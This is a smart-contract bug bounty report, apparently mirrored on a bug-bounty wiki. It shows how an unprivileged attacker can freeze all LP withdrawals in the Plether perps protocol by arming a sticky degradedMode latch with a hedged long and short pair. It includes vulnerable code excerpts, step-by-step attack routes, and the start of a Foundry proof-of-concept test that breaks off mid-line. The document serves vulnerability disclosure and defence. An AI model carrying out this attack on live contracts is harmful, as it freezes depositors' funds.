Unprivileged attacker can freeze all LP withdrawals on demand by arming CfdEngine's sticky degradedMode latch, leading to temporary freezing of funds for at least 24 hours
An unprivileged attacker can deliberately trigger the CfdEngine's degradedMode flag by holding an equal long and short and closing the winning leg while the losing leg is still open, which makes the pool briefly appear insolvent. Because the flag only clears when the owner calls clearDegradedMode, all LP epoch settlements revert and matured redemptions stay unpaid until the owner reacts.
- Disclosed after under an hour
#97918 [SC-High] Unprivileged attacker can freeze all LP withdrawals on demand by arming CfdEngine's sticky degradedMode latch, leading to temporary freezing of funds for at least 24 hours
Submitted on Nov 3rd 2026 at 22:24:08 UTC by @deltabear for Audit Competition | Plether
- Report ID: #97918
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src
- Impacts:
- Temporary freezing of funds for at least 24 hours
Description
Brief/Intro
Any unprivileged account can freeze every LP redemption of both tranches at a time it chooses. It holds an equal long and short on two accounts, laddered to the open limit, and gets the winning leg paid while the losing leg is still open. Two permissionless calls do that: the attacker's own Router close of whichever leg won (route A), or any keeper's Router.executeLiquidation of a thin winning leg at the Friday FAD start (route B). The payout sets CfdEngine.degradedMode.
The attacker then closes its losing leg. The pool can pay: it is solvent and holds about 10.0M USDG of free LP cash. The flag stays set and every LP epoch settlement reverts HousePool__DegradedMode. In route A an LP's matured 10,041,655.52 USDG Junior redemption is still unpaid 30 days after the arm; in route B 10,009,271.01 USDG is unpaid 27 days after it. The same trades in the opposite order pay the LP 1 h 5 min after the closes.
Only the owner can end it. The flag never re-checks itself, and 12 permissionless unlock attempts per route leave it set. The moment the owner calls clearDegradedMode, the same keeper call pays the LP in full. The freeze therefore lasts as long as the owner takes to react, and nothing in the repository sets a time for that.
The latch and its owner-only clear are documented, and this report does not dispute them. What no document, known issue or audit covers is that an unprivileged account can arm the latch on demand while the pool holds the cash to pay. The attacker deposits 221,445 USDG (route A) or 445,882.50 USDG (route B) and gets it back minus a cost of 1 USDG per 202 USDG frozen (route A) or per 450 (route B). That cost is a fixed share of the pool, so while a pool is small it costs little to freeze (see Impact Details).
Vulnerability Details
Opens are admitted while E >= L + B (CfdEnginePlanLib.sol:770-772), with E the pool's assets net of trader claims, L = max(longMaxProfit, shortMaxProfit) (CfdEngine.sol:1044-1050) and B 25 bps of L (DEPLOYMENT.md:143). An equal long and short on two accounts add to L while their net skew stays zero, so the attacker ladders the pair until the cushion E - L is one buffer: 9,974,500 USDG per side on a 10,000,000 USDG Junior pool in both runs. The positions are leveraged: the attacker posts only margin, 1.5% and 0.6% of the position in route A, 4% and 0.35% in route B. This report does not claim that this reservation is wrong; it is only how the attacker reaches the arm.
The attacker then makes the pool pay the winning leg while the losing leg is still open:
- Route A. After an 86 bps move the attacker closes the winning leg through the Router.
_applyClosesettles it and then calls_enterDegradedModeIfInsolvent(CfdEngine.sol:1306-1321). The run uses a rise, so the SHORT wins; after a fall the LONG wins and the attacker closes that leg first instead. - Route B. At the Friday FAD start the planner uses
fadMarginBps(300,DEPLOYMENT.md:136) as the maintenance margin (CfdEnginePlanLib.sol:1450). A SHORT leg with a 35 bps pledge is still below that margin after a 53 bps move in its favour, so it is liquidatable while it is winning. Any keeper callsRouter.executeLiquidation, which is permissionless and "Available while paused" (OrderRouter.sol:485-493). The liquidation pays the gain out of pool cash (CfdEnginePlanLib.sol:1529-1543), and_applyLiquidationcalls_enterDegradedModeIfInsolvent(CfdEngine.sol:1344).
_enterDegradedModeIfInsolvent compares pool.totalAssets() - totalTraderClaimBalanceAssets (CfdEngine.sol:865-871) with _maxLiability() (CfdEngine.sol:1364-1365). The open losing leg still carries the same L, so E < L for a moment (by 5,581.78 USDG in route A and 5,113.24 USDG in route B) and degradedMode = true (CfdEngine.sol:1366). By its own rule the latch fires correctly here.
The attacker closes the losing leg. Its loss is paid into the pool, L falls to 0 and E is 10,041,657.54 USDG (route A). That is the documented condition for clearing, "once raw E >= L" (EMERGENCY_RESPONSE_GUIDE.md:47), but nothing clears it. _enterDegradedModeIfInsolvent returns at once when the flag is already set (CfdEngine.sol:1355-1357). The only statement in packages/perps/src that writes degradedMode = false is in clearDegradedMode (CfdEngine.sol:665), which is onlyOwner (CfdEngine.sol:658-667). There is no expiry and no permissionless re-check: the flag is a plain stored bool with no timestamp (CfdEngine.sol:121), and LP settlement reads that stored value (HousePool.sol:1844-1850, which calls CfdEngineProtocolLens.sol:93-101). Nothing on the settlement path re-checks solvency.
Every LP settlement path, the Router call and the permissionless frozen HousePool.settleLpEpoch, runs _requireWithdrawalsLive (HousePool.sol:832), which reverts HousePool__DegradedMode while the flag is set (HousePool.sol:1864-1870). Matured redemptions cannot be cancelled (TrancheVault.sol:894-897), so the LP's shares sit in escrow with no exit.
The defect is that an unprivileged account can create the E < L moment on demand, and the flag outlives it. clearDegradedMode already runs the right check (CfdEngine.sol:662-664); letting anyone call that check, or running it in the LP settlement path, ends the freeze as soon as E >= L.
Why this is not the hedged-pair liquidity report, and not a known issue
-
Lack of liquidity. A hedged-pair report on the reservation itself (matched to #97642) was closed under the lack-of-liquidity exclusion because "the redemption is funded in full once the attacker closes the pair". This report fails that test. In both routes the pair is fully closed (
L= 0), the pool holds 10,041,657.54 and 10,009,273.02 USDG of free LP cash at every probe, and settlement still revertsHousePool__DegradedModefor 30 and 27 days. The cash is there; a status flag blocks it. -
Different root cause and fix. The root cause here is the latch: it can be armed by any account and only the owner releases it. Releasing it once
E >= Lends this freeze and leaves the larger-side reservation untouched. -
Documented is not disclosed. The documents state the latch's design plainly, and this report relies on it as written:
- it latches when close or liquidation settlement finds
E < L(SECURITY.md:340,ACCOUNTING_SPEC.md:1203-1209); - it blocks "all LP epoch settlement" (
EMERGENCY_RESPONSE_GUIDE.md:46-47), including "redemption funding" (ACCOUNTING_SPEC.md:1224-1229); - it "does not auto-clear merely because a later mark looks solvent" (
WHITEPAPER.md:1335-1337); "only an authorizedclearDegradedMode()call does that" (ACCOUNTING_SPEC.md:619-620), which the owner can make once rawE >= L(EMERGENCY_RESPONSE_GUIDE.md:47).
Every one of these presents the latch as a response to real losses: containment "if a terminal transition reveals insolvency" (
SECURITY.md:27), "a terminal transition that the protocol deliberately allowed to finish" (WHITEPAPER.md:1335-1336). None says that arming it is open to anyone: that an unprivileged account can create theE < Lmoment on purpose with its own offsetting trades, at a time it picks, then remove it by closing the other leg and leave the flag behind. Nor does any document weigh what that costs an attacker. Here it costs about 1 USDG per 202 USDG frozen (route A) or per 450 (route B), and the freeze lasts until the owner reacts, with no deadline set anywhere. No listed known issue or previous audit report covers it either. The only degraded-mode audit finding, Cecuro LOW-73 (createPositionProtectionblocked while degraded), concerns a different function, and its fix does not touch the latch. - it latches when close or liquidation settlement finds
Vulnerable source code
1. Route A: every close runs the latch after paying the winner @ packages/perps/src/CfdEngine.sol:1315-1320
settlementSidecar.executeClose(delta, currentPosition, publishTime);
emit PositionClosed(delta.account, marginSide, delta.sizeDelta, delta.price, delta.realizedPnlAssets);
unsettledCarryAssets[delta.account] = 0;
_enterDegradedModeIfInsolvent(delta.account, 0);
2. Route B: the FAD start raises the maintenance margin to 300 bps @ packages/perps/src/libraries/CfdEnginePlanLib.sol:1450
uint256 maintMarginBps = snap.isFadWindow ? snap.riskParams.fadMarginBps : snap.riskParams.maintMarginBps;
3. Route B: the liquidation pays the winner's gain from pool cash @ packages/perps/src/libraries/CfdEnginePlanLib.sol:1529
delta.freshTraderPayoutAssets = delta.priceGainAssets - delta.actionChargeWithheldAssets;
4. The latch returns early once set, then reads cash only @ packages/perps/src/CfdEngine.sol:1351-1358
function _enterDegradedModeIfInsolvent(
address account,
uint256 pendingPoolPayoutAssets
) internal {
if (degradedMode) {
return;
}
uint256 effectiveAssetsAfter = _availableCashForFreshPoolPayouts();
5. E is pool cash net of claims @ packages/perps/src/CfdEngine.sol:865-870
function _availableCashForFreshPoolPayouts() internal view returns (uint256 availableCashAssets) {
uint256 physicalAssets = pool.totalAssets();
uint256 claimsAssets = totalTraderClaimBalanceAssets;
assembly ("memory-safe") {
if gt(physicalAssets, claimsAssets) { availableCashAssets := sub(physicalAssets, claimsAssets) }
}
6. The flag is set when E < L @ packages/perps/src/CfdEngine.sol:1364-1367
uint256 maxLiabilityAssets = _maxLiability();
if (effectiveAssetsAfter < maxLiabilityAssets) {
degradedMode = true;
emit DegradedModeEntered(effectiveAssetsAfter, maxLiabilityAssets, account);
7. The only reset, owner only, already checks E >= L @ packages/perps/src/CfdEngine.sol:658-666
function clearDegradedMode() external onlyOwner {
if (!degradedMode) {
revert CfdEngine__NotDegraded();
}
if (_availableCashForFreshPoolPayouts() < _maxLiability()) {
revert CfdEngine__StillInsolvent();
}
degradedMode = false;
8. Every LP settlement reverts while the flag is set @ packages/perps/src/HousePool.sol:1864-1869
function _requireWithdrawalsLive(
HousePoolEngineViewTypes.HousePoolStatusSnapshot memory statusSnapshot
) internal pure {
if (statusSnapshot.degradedMode) {
revert HousePool__DegradedMode();
}
Impact Details
- Impact row: "Temporary freezing of funds for at least 24 hours" (High). Asset:
packages/perps/src(CfdEngine.sol); the frozen USDG sits inHousePool.sol. - Route A: victim LP_J's matured Junior redemption, 10,041,655.52 USDG, is unpaid at +1 h 5 min, +24 h, +72 h, +168 h and +720 h (30 days) after the arm, with 10,041,657.54 USDG of free LP cash in the pool at every probe. In the control (same pair, same move, loser closed first) the first settle pays it 10,061,870.24 USDG 1 h 5 min after the closes.
- Route B: the redemption, 10,009,271.01 USDG, is unpaid at +1 h 5 min and +24 h (weekend freeze), +49 h, +72 h, +144 h and +648 h (27 days), with 10,009,273.02 USDG of free LP cash at every probe. The control (loser closed first, then the same liquidation) pays it 9,997,109.46 USDG 1 h 5 min after the closes.
- The flag does not clear itself. At +24 h and +720 h (route A) and at +72 h and +648 h (route B) the PoC runs six permissionless calls, each from the latched state: an outsider's
clearDegradedMode(reverts, owner only), a freshupdateMarkPrice, a 1,000,000 USDG donation to the pool, a new trader's open, a new LP's deposit request, and the victim's ownsettleLpEpoch. After every calldegradedModeis true and settlement revertsHousePool__DegradedMode. - The freeze is the flag alone: the pool holds the cash, the revert is
HousePool__DegradedMode, and after the owner'sclearDegradedModeat the last probe the same keeper settle pays 10,041,655.52 USDG (route A) and 10,009,271.01 USDG (route B) at once. - Owner response. Nothing in the repository sets a time for the owner's clear. The emergency guide says only "The Engine owner can call
clearDegradedMode()once rawE >= L" (EMERGENCY_RESPONSE_GUIDE.md:47). The program's feasibility rules assume no detection deadline unless one is documented, and require 100% certainty of both detection and prevention when prevention relies on a human response. - Prerequisites, all permissionless. Route A: two trader accounts funded with 221,445 USDG in total (margin of 1.5% on the LONG and 0.6% on the SHORT, plus fee room), an 86 bps move (a rise in the run), two Router closes in the attacker's order; afterwards both accounts withdraw 171,806.66 USDG. Route B: 445,882.50 USDG in total (4% on the LONG, so it stays above the 3% FAD margin after its loss and no keeper liquidates it first, and 0.35% on the SHORT), a 53 bps move in the thin leg's favour by the Friday FAD start, one
Router.executeLiquidationby any keeper (which earns the keeper its bounty), one Router close; 423,641.43 USDG withdrawn. - Cost against damage, deposit minus withdrawal: 49,638.34 USDG for 10,041,655.52 USDG frozen (about 1:202, route A) and 22,241.07 USDG for 10,009,271.01 USDG frozen (about 1:450, route B). Both are above the program's 1:100 line for griefing. Most of the cost is fees that end up in the pool, which is why
Eends above its starting 10,000,000 USDG. - Small pools cost much less to freeze. The attacker's positions must be about as large as the pool in size, not in money: they are leveraged, so the attacker only posts margin (221,445 USDG on a 10,000,000 USDG pool in route A). They have to fill the pool's open capacity, and fees are a percentage of position size, so the cost is a fixed share of the pool, about 0.49% (route A) or 0.22% (route B), not a fixed price.
test_C_attackerCostIsAShareOfThePoolarms the latch on four pool sizes with the same margins: a 100,000 USDG pool costs 497.43 USDG (route A) or 223.92 USDG (route B), and a 1,000,000 USDG pool costs 4,966.78 or 2,226.58. While a pool is still small, for example soon after launch, the attacker freezes every LP exit for a few hundred USDG. - Victims see a revert with no remedy of their own: settlement reverts for every caller, a matured request cannot be cancelled, and the whole LP side of both tranches is closed. In route B that includes the frozen Friday-to-Sunday window, where LP redemption settlement is documented to stay live (
SECURITY.md:826-829).
-While latched, new opens and LP deposit requests also revert (attempts 4 and 5), so the market takes no new risk or capital until the owner acts
References
Latch
- packages/perps/src/CfdEngine.sol:1351-1368 -
_enterDegradedModeIfInsolvent, cash only, early return once set - packages/perps/src/CfdEngine.sol:865-871 -
_availableCashForFreshPoolPayouts= pool assets minus trader claims - packages/perps/src/CfdEngine.sol:1044-1050 -
_maxLiability, larger side's max profit - packages/perps/src/CfdEngine.sol:1320, :1344 - latch runs after every close and liquidation
- packages/perps/src/CfdEngine.sol:658-667 -
clearDegradedMode, owner only, checksE >= L - packages/perps/src/CfdEngine.sol:665 - the only
degradedMode = falseinpackages/perps/src - packages/perps/src/CfdEngine.sol:121 -
degradedModeis a storedbool, no timestamp or expiry - packages/perps/src/HousePool.sol:1844-1850, packages/perps/src/CfdEngineProtocolLens.sol:93-101 - LP settlement reads the stored flag
Routes
- packages/perps/src/libraries/CfdEnginePlanLib.sol:770-772 - opens need
E >= L + B - packages/perps/src/libraries/CfdEnginePlanLib.sol:1450 - FAD margin replaces maintenance margin
- packages/perps/src/libraries/CfdEnginePlanLib.sol:1529-1543 - liquidation pays the gain from pool cash
- packages/perps/src/OrderRouter.sol:485-493 -
executeLiquidation, permissionless, available while paused - packages/perps/src/CfdEngine.sol:1306-1321 -
_applyClose - packages/perps/DEPLOYMENT.md:136, :143 -
fadMarginBps300,settlementBufferBps25
Freeze
- packages/perps/src/HousePool.sol:832 - LP settlement calls
_requireWithdrawalsLive - packages/perps/src/HousePool.sol:1864-1870 - reverts
HousePool__DegradedMode - packages/perps/src/TrancheVault.sol:894-897 - matured redemptions cannot be cancelled
- packages/perps/SECURITY.md:826-829 - LP redemption settlement stays live while the oracle is frozen
Documentation
- packages/perps/SECURITY.md:27, :340 - documented purpose of the latch
- packages/perps/EMERGENCY_RESPONSE_GUIDE.md:45-47 - the latch blocks all LP epoch settlement; the owner's clear, no deadline
- packages/perps/ACCOUNTING_SPEC.md:619-620, :1203-1229 - only an authorized
clearDegradedMode()clears it; what it blocks - packages/perps/WHITEPAPER.md:1335-1337 - does not auto-clear; a response to a terminal transition
Link to Proof of Concept
https://gist.github.com/decies-centena-millia/e355cce96603945a3eeedc92a5ee21e0
Proof of Concept
Proof of Concept
One file, three tests. They run in the repo's Foundry suite at a82d4fef on the repo's own BasePerpTest with the DEPLOYMENT.md release parameters; only USDG and Pyth are the repo's mocks. Routes A and B each have a control from the same snapshot, probe LP settlement for 30 or 27 days after the arm, run six permissionless unlock attempts twice, and finish with the owner's clear. Test C repeats both routes on four pool sizes to measure the cost. Files: https://gist.github.com/decies-centena-millia/e355cce96603945a3eeedc92a5ee21e0
mkdir -p packages/perps/test/poc && cp DegradedLatchFreezePoC.t.sol packages/perps/test/poc/ && cd packages/perps && forge test --match-path test/poc/DegradedLatchFreezePoC.t.sol -vv
attack step-by-step
Route A (test_A_pairWinnerClose_latchFreezesLpExit_noSelfClearIn30Days):
- Monday 2024-10-14 10:00 UTC: LP_J deposits 10,000,000 USDG of Junior. The attacker deposits 221,445 USDG across ATTACKER and ATTACKER_B and ladders a LONG with a 150 bps pledge and an equal SHORT with a 60 bps pledge through the Router until the open buffer binds: 9,974,500 USDG per side.
- 11:00 UTC: LP_J requests redemption of its whole position. The mark rises 86 bps: the SHORT wins.
- ATTACKER_B closes the SHORT through the Router. The pool pays its gain from cash and
degradedModeis set (E - L= -5,581.78 USDG). - ATTACKER closes the LONG through the Router.
Lis 0 andEis 10,041,657.54 USDG. Both accounts withdraw 171,806.66 USDG of the 221,445 deposited. - Every keeper
settleLpEpochat +1 h 5 min, +24 h, +72 h, +168 h and +720 h revertsHousePool__DegradedMode; LP_J's wallet stays at 0. The six unlock attempts at +24 h and +720 h leave the flag set. - The owner calls
clearDegradedMode; the same keeper settle pays LP_J 10,041,655.52 USDG.
Route B (test_B_fadStartKeeperLiquidation_latchFreezesLpExit_noSelfClearIn27Days):
- Friday 2024-10-18 17:30 UTC: LP_J deposits 10,000,000 USDG of Junior. The attacker deposits 445,882.50 USDG across ATTACKER and ATTACKER_B and ladders a LONG with a 400 bps pledge and an equal SHORT with a 35 bps pledge through the Router until the open buffer binds: 9,974,500 USDG per side.
- 18:30 UTC: LP_J requests redemption of its whole position. The first FAD mark is 53 bps up: the SHORT wins.
- 20:30 UTC, the FAD start: KEEPER calls
Router.executeLiquidationon ATTACKER_B. The pool pays the SHORT's gain from cash anddegradedModeis set (E - L= -5,113.24 USDG). - ATTACKER closes the LONG through the Router.
Lis 0 andEis 10,009,273.02 USDG. Both accounts withdraw 423,641.43 USDG of the 445,882.50 deposited. - Every keeper settle at +1 h 5 min and +24 h (oracle frozen,
HousePool.settleLpEpoch) and at +49 h, +72 h, +144 h and +648 h (live,Router.settleLpEpoch) revertsHousePool__DegradedMode; LP_J's wallet stays at 0. The six unlock attempts at +72 h and +648 h leave the flag set. - The owner calls
clearDegradedMode; the same keeper settle pays LP_J 10,009,271.01 USDG.
Test C (test_C_attackerCostIsAShareOfThePool): routes A and B rerun on pools of 100,000, 1,000,000, 3,000,000 and 10,000,000 USDG with the same margins. The latch arms and stays set with the pair flat every time, and the full cost is about 0.49% (A) and 0.22% (B) of the pool.
main Attack code
// route A, the arm (ATTACKER = LONG loser, ATTACKER_B = SHORT winner, px = mark + 86 bps)
_closeNow(ATTACKER_B, CfdTypes.Side.SHORT, _sizeOf(ATTACKER_B), px); // Router commit + execute: pays the winner, sets degradedMode
_closeNow(ATTACKER, CfdTypes.Side.LONG, _sizeOf(ATTACKER), px); // L = 0, E = 10.04M, the flag stays
// every LP exit afterwards, for 30 days
bytes[] memory d = _px(px);
vm.prank(KEEPER);
router.settleLpEpoch(d); // reverts HousePool__DegradedMode
// route B, the arm (ATTACKER = LONG loser, ATTACKER_B = thin SHORT winner, px = mark + 53 bps)
_warpTo(FRI_FAD_START);
_liquidate(KEEPER, ATTACKER_B, px); // any keeper's Router.executeLiquidation: pays the winner, sets degradedMode
_closeNow(ATTACKER, CfdTypes.Side.LONG, _sizeOf(ATTACKER), px); // L = 0, E = 10.01M, the flag stays
plant : an equal long and short on two accounts, laddered to the open buffer
fire : the attacker's Router close of the winning leg (route A), or any keeper's liquidation of the thin winning leg at the Friday FAD start (route B), while the losing leg is open
full poc code, single file, single runnable command
The whole file, DegradedLatchFreezePoC.t.sol, is below and in the gist (743 lines): a PocBase fixture over the repo's packages/perps/test/perps/BasePerpTest.sol with the release parameters, then DegradedLatchFreezePoC with routes A and B and the pool-size test C. The run's complete -vv output is output.log. Command, from the repo root at a82d4fef:
mkdir -p packages/perps/test/poc && cp DegradedLatchFreezePoC.t.sol packages/perps/test/poc/ && cd packages/perps && forge test --match-path test/poc/DegradedLatchFreezePoC.t.sol -vv
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {ICfdEngineTypes} from "@plether/perps/interfaces/ICfdEngineTypes.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {console2} from "forge-std/console2.sol";
abstract contract PocBase is BasePerpTest {
uint256 internal constant PX = 1e8;
address internal constant ATTACKER = address(0xA11CE);
address internal constant ATTACKER_B = address(0xA11CF);
address internal constant VICTIM = address(0xB0B);
address internal constant KEEPER = address(0x4B33);
address internal constant HONEST = address(0x4011);
address internal constant LP_J = address(0x1117);
address internal constant LP_S = address(0x5E);
// Monday 2024-10-14 10:00 UTC; Friday 20:30 UTC FAD start; 21:00 UTC oracle freeze; Sunday 21:00 UTC reopen.
uint256 internal constant WEEK_MON_10UTC = 1_728_900_000;
uint256 internal constant FRI_LAST_LIVE = 1_729_283_399;
uint256 internal constant FRI_FAD_START = 1_729_283_400;
uint256 internal constant FRI_FROZEN_START = 1_729_285_200;
uint256 internal constant SUN_REOPEN = 1_729_458_000;
// DEPLOYMENT.md release parameters.
function _riskParams() internal pure virtual override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialJuniorDeposit() internal pure virtual override returns (uint256) {
return 0;
}
function _initialSeniorDeposit() internal pure virtual override returns (uint256) {
return 0;
}
function _initialJuniorSeedDeposit() internal pure virtual override returns (uint256) {
return 1e6;
}
function _initialSeniorSeedDeposit() internal pure virtual override returns (uint256) {
return 1e6;
}
function setUp() public virtual override {
super.setUp();
uint256 start = vm.getBlockTimestamp();
IHousePool.PoolConfig memory poolConfig = _currentPoolConfig();
poolConfig.maxSeniorExposureAssets = 40_000_000e6;
poolConfig.maxSeniorShareBps = 8000;
pool.proposePoolConfig(poolConfig);
vm.warp(pool.poolConfigActivationTime());
pool.finalizePoolConfig();
IOrderRouterAdminHost.RouterConfig memory routerConfig = _routerConfig();
routerConfig.adverseConfidenceMultiplierBps = 2500;
routerConfig.minOpenNotionalAssets = 1000e6;
_setRouterConfig(routerConfig);
vm.warp(start);
vm.roll(vm.getBlockNumber() + 1);
}
// Via-IR caches block.timestamp inside one frame, so time is read from the cheatcode.
function _now() internal view returns (uint256) {
return vm.getBlockTimestamp();
}
function _advance(uint256 seconds_) internal {
vm.warp(vm.getBlockTimestamp() + seconds_);
vm.roll(vm.getBlockNumber() + 1);
}
function _warpTo(uint256 timestamp) internal {
vm.warp(timestamp);
vm.roll(vm.getBlockNumber() + 1);
}
function _warpIntoNextEpoch(uint256 seconds_) internal {
_warpTo(((_now() / 1 hours) + 1) * 1 hours + seconds_);
}
function _seedPool(uint256 junior, uint256 senior) internal {
if (junior > 0) _fundJunior(LP_J, junior);
if (senior > 0) _fundSenior(LP_S, senior);
}
function _requestRedeemAll(TrancheVault vault, address lp) internal returns (uint256 requestId, uint256 shares) {
shares = vault.maxRequestRedeem(lp);
vm.prank(lp);
requestId = vault.requestRedeem(shares, lp, lp);
}
function _claimRedeemAll(TrancheVault vault, address lp, uint256 requestId) internal returns (uint256 assets) {
uint256 shares = vault.claimableRedeemRequest(requestId, lp);
vm.prank(lp);
assets = vault.claimRedeem(requestId, shares, lp, lp);
}
function _px(uint256 price) internal returns (bytes[] memory) {
return _mockPythUpdateData(price);
}
function _refreshMark(uint256 price) internal {
bytes[] memory data = _px(price);
vm.prank(KEEPER);
router.updateMarkPrice(data);
}
function _settleEpoch(uint256 price) internal {
bytes[] memory data = _px(price);
vm.prank(KEEPER);
router.settleLpEpoch(data);
}
function _sizeFor(uint256 notionalAssets, uint256 price) internal pure returns (uint256) {
return ((notionalAssets * 1e20 / price) / CfdTypes.SIZE_QUANTUM) * CfdTypes.SIZE_QUANTUM;
}
function _commitOpen(address account, CfdTypes.Side side, uint256 size, uint256 margin) internal returns (uint64 orderId) {
vm.prank(account);
orderId = router.commitOrder(side, size, margin, 0, false);
}
function _commitClose(address account, CfdTypes.Side side, uint256 size) internal returns (uint64 orderId) {
vm.prank(account);
orderId = router.commitOrder(side, size, 0, 0, true);
}
function _exec(uint64 orderId, uint256 price) internal returns (OrderV3Types.ExecutionResult memory result) {
bytes[] memory data = _px(price);
vm.prank(KEEPER);
result = router.executeOrder(orderId, data);
}
function _executed(OrderV3Types.ExecutionResult memory result) internal pure returns (bool) {
return result.terminalReason == OrderV3Types.TerminalReason.Executed;
}
function _openNow(address account, CfdTypes.Side side, uint256 size, uint256 margin, uint256 price)
internal
returns (uint64 orderId)
{
orderId = _commitOpen(account, side, size, margin);
require(_executed(_exec(orderId, price)), "open did not fill");
}
function _closeNow(address account, CfdTypes.Side side, uint256 size, uint256 price) internal returns (uint64 orderId) {
orderId = _commitClose(account, side, size);
require(_executed(_exec(orderId, price)), "close did not fill");
}
function _liquidate(address keeper, address account, uint256 price) internal {
bytes[] memory data = _px(price);
vm.prank(keeper);
router.executeLiquidation(account, data);
}
function _tryOpenNow(address account, CfdTypes.Side side, uint256 size, uint256 margin, u
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the degradedMode latch can be armed by any account through a momentary E < L condition and only the owner can clear it, with no automatic re-check on the settlement path.
Impact
LP redemptions across both tranches could be frozen for as long as the owner takes to react, with no documented deadline, even though the pool holds the cash to pay.
What the attacker needed
Two funded attacker accounts; an 86 bps or 53 bps mark move; permissionless Router calls; owner must react to clear the flag
The fix
The check that clearDegradedMode already performs should be callable by anyone, or run automatically in the LP settlement path, so the flag clears as soon as E >= L.
How it was found
- Deposit funds across two attacker accounts and ladder an equal long and short through the Router until the open buffer binds.
- Request a redemption from the victim LP account and move the mark so one leg wins.
- Close the winning leg through the Router (or have a keeper liquidate it at the FAD start), which pays the gain from pool cash and sets degradedMode.
- Close the losing leg so the pair is flat and the pool holds free cash.
- Attempt LP epoch settlement repeatedly; each call reverts with HousePool__DegradedMode.
- The owner calls clearDegradedMode and the same settlement then pays the LP in full.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The protocol has a safety switch that freezes withdrawals when the pool looks like it cannot cover what traders are owed. The report shows that anyone can make the pool look short of money for a moment by opening two opposite trades and closing the winning one first, and the switch then stays on. Only the owner can turn it off, so ordinary savers cannot get their money out until the owner acts.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.